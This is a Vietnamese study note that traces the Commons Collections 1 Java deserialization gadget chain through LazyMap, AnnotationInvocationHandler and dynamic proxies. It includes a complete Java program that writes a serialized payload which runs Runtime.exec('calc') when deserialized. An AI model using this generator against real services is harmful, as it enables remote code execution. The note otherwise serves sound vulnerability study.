> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/commons-collections-1.md).

# Commons Collections 1

Chain của CC1 sẽ như sau :

```java
	ObjectInputStream.readObject()
		AnnotationInvocationHandler.readObject()
			Map(Proxy).entrySet()
				AnnotationInvocationHandler.invoke()
					LazyMap.get()
						ChainedTransformer.transform()
							ConstantTransformer.transform()
							InvokerTransformer.transform()
								Method.invoke()
									Class.getMethod()
							InvokerTransformer.transform()
								Method.invoke()
									Runtime.getRuntime()
							InvokerTransformer.transform()
								Method.invoke()
									Runtime.exec()
```

## Debug

Do chain này cũng dùng **`ChainedTransformer.transform()`** nên ko cần phân tích lại. Chúng ta cần đi ngược lại từ chỗ trigger tới **`ChainedTransformer.transform`** là **`LazyMap.get()`**

**`Ctrl+N`** search **`LazyMap`** để vào class **`LazyMap`** sau đó `Ctrl F12` list all method, chọn method `get()`

<figure><img src="/files/8BkZO88cog9zJkzUTFci" alt=""><figcaption></figcaption></figure>

**`this.factory`** là instance của Class **`ChainedTransformer`**

<figure><img src="/files/Q9dj9jDdAWEFyAz5u559" alt=""><figcaption></figcaption></figure>

Và `LazyMap` có constructor được protected. Nên phải call từ `decorate`

<figure><img src="/files/hdoYkw0RH4cEcvIv7xaK" alt=""><figcaption></figcaption></figure>

Thì chúng ta cần truyền decorate với `map` và `Transformer factory`

```java
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class GenAndTrigger {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        System.out.println("Gen Payload");

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,Class[].class}, new Object[] {
                        "getRuntime",new Class[0]} ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,new Object[0]} ),
                new InvokerTransformer("exec", new Class[] {
                        String.class},new String[] { "calc" } ),
                new ConstantTransformer(1)
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lzm = LazyMap.decorate(map,transformerChain);
        
    }
}
```

Và chúng ta cần tìm cách trigger `LazyMap::get()`

Thì theo chain chúng ta cần dùng `AnnotationInvocationHandler.invoke()`

<figure><img src="/files/vFJUtbrl7I17JLfLNHmq" alt=""><figcaption></figcaption></figure>

Để ý thì nếu `var4` là default thì sẽ gán `var6 = this.memberValues.get(var4)`

Vậy thì `this.memberValues` chỉ cần là instance của `LazyMap` là được.

Và Constructor của `AnnotationInvocationHandler` nhận `this.memberValues` = var2

<figure><img src="/files/0gZyAFrCV1yO5N1P4XGb" alt=""><figcaption></figcaption></figure>

Vì Class `AnnotationInvocationHandler` private (nằm trong package-private) nên phải dùng reflection để gọi nó.

```java
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
```

Vậy thì làm thế nào để trigger cái `invoke` kia

Ta có thể thấy class `AnnotationInvocationHandler` implements `InvocationHandler`

Interface này nó sẽ triển khai Java Dynamic proxy

<figure><img src="/files/4ZNYB8wy7zOcDqR9YpBH" alt=""><figcaption></figcaption></figure>

Method chính của nó là `newProxyInstance()`. Proxy có thể được triển khai bằng cách pass `ClassLoader`, `interfaces`, và class triển khai `InvocationHandler` mà nó sẽ ghi đè method `invoke()`.&#x20;

Sau khi proxy thành công, khi ta gọi đến `original` class, method `invoke()` của class triển khai `InvocationHandler` sẽ được gọi

> Có thể hình dung như sau :\
> Chúng ta tạo 1 proxy cho interface single :
>
> ```java
> public interface Single {
> void song();
> }
> ```
>
> ```java
> public class SingleImpl implements Single {
>     @Override
>     public void song() {
>         System.out.println("🎵 Original song()");
>     }
> }
>
> ```
>
> Và tạo `InvocationHandler`
>
> ```java
> import java.lang.reflect.InvocationHandler;
> import java.lang.reflect.Method;
>
> public class LogHandler implements InvocationHandler {
>     private final Object target;
>
>     public LogHandler(Object target) {
>         this.target = target;
>     }
>     @Override
>     public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
>         System.out.println("[Before] " + method.getName());
>
>         // gọi method thật của original object
>         Object result = method.invoke(target, args);
>
>         System.out.println("[After] " + method.getName());
>         return result;
>     }
> }
>
> ```
>
> Sau đó tạo proxy bằng `newProxyInstance()`
>
> ```java
> import java.lang.reflect.Proxy;
>
> public class Main {
>     public static void main(String[] args) {
>         Single original = new SingleImpl();
>
>         Single proxy = (Single) Proxy.newProxyInstance(
>             Single.class.getClassLoader(),      // ClassLoader
>             new Class[]{Single.class},          // interfaces
>             new LogHandler(original)            // InvocationHandler
>         );
>
>         // Gọi method trên proxy
>         proxy.song();
>     }
> }
> ```
>
> Khi `proxy.song()` được gọi, thì nó ko gọi thẳng `SingleImpl.song()` mà nó sẽ gọi
>
> ```java
> handler.invoke(
>     proxy,                         // chính object proxy
>     Method(Single.song),           // Method object mô tả song()
>     null                           // vì song() không có tham số
> );
> ```

> `Vậy nên chúng ta có thể trigger invoke là do vậy.`

Cách tạo handler cho proxy class :

```java
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
 
InvocationHandler triggerInvoke = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
```

Thì nó tạo Instance với `this.type = class Override` và `this.memberValues = instance của lazyMap`

<figure><img src="/files/I9x7fF4kR3B19FTF44Hp" alt=""><figcaption></figcaption></figure>

Giờ thì chúng ta cần tạo instance của proxy ,proxy instance ở đây phải implements Map, vì LazyMap implements Map interface.

```java
Map map = new HashMap();
Map proxyMap = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), triggerInvoke);
```

Lúc này chúng ta gọi `proxyMap` với method nào của `Map` thì nó sẽ gọi `AnnotationInvocationHandler.invoke()`

giống kiểu `proxyMap.size()` vậy thì giờ cần tìm sink trigger nó.

Ở method `readObject` của `AnnotationInvocationHandler` nó có gọi `this.memberValues.entrySet()` mà `entrySet` là 1 method của interface `Map`

<figure><img src="/files/Dj5kTDfNuhVB50vNaIp8" alt=""><figcaption></figcaption></figure>

⇒ Chúng ta có thể truyền `proxyMap` vào `this.memberValues` bằng cách khởi tạo `InvocationHanler` với\
`(InvocationHandler) constructor.newInstance(Override.class, proxyMap);`

Vậy code gen payload của chúng ta sẽ bao gồm :

```java
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectOutputStream;

import java.io.*;

public class write_file {
    public static void main(String[] args) throws Exception {
        System.out.println("Gen Payload");

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,Class[].class}, new Object[] {
                        "getRuntime",new Class[0]} ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,new Object[0]} ),
                new InvokerTransformer("exec", new Class[] {
                        String.class},new String[] { "calc" } ),
                new ConstantTransformer(1)
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lzm = LazyMap.decorate(map,transformerChain);
        // doan tren ko quan can biet nua r

        // get constructor cua class proxy
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        // Tao handler InvocationHandler voi lazyMap
        InvocationHandler triggerInvoke = (InvocationHandler) constructor.newInstance(Override.class, lzm);
        // Tao instance proxy
        Map proxyMap = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), triggerInvoke);
        InvocationHandler payload = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);
        try {
            //Serialize
            System.out.println("Write Object to file");
            FileOutputStream fos = new FileOutputStream("src/cc1_gen.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(payload);
            oos.close();
            fos.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

<figure><img src="/files/nIsoQlQnCtp9giPROa4b" alt=""><figcaption></figcaption></figure>

## Conclusion

Chain này giúp chúng ta hiểu hơn về Java Dynamic Proxy trong gadget chain.

## Reference&#x20;

<https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/commons-collections-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
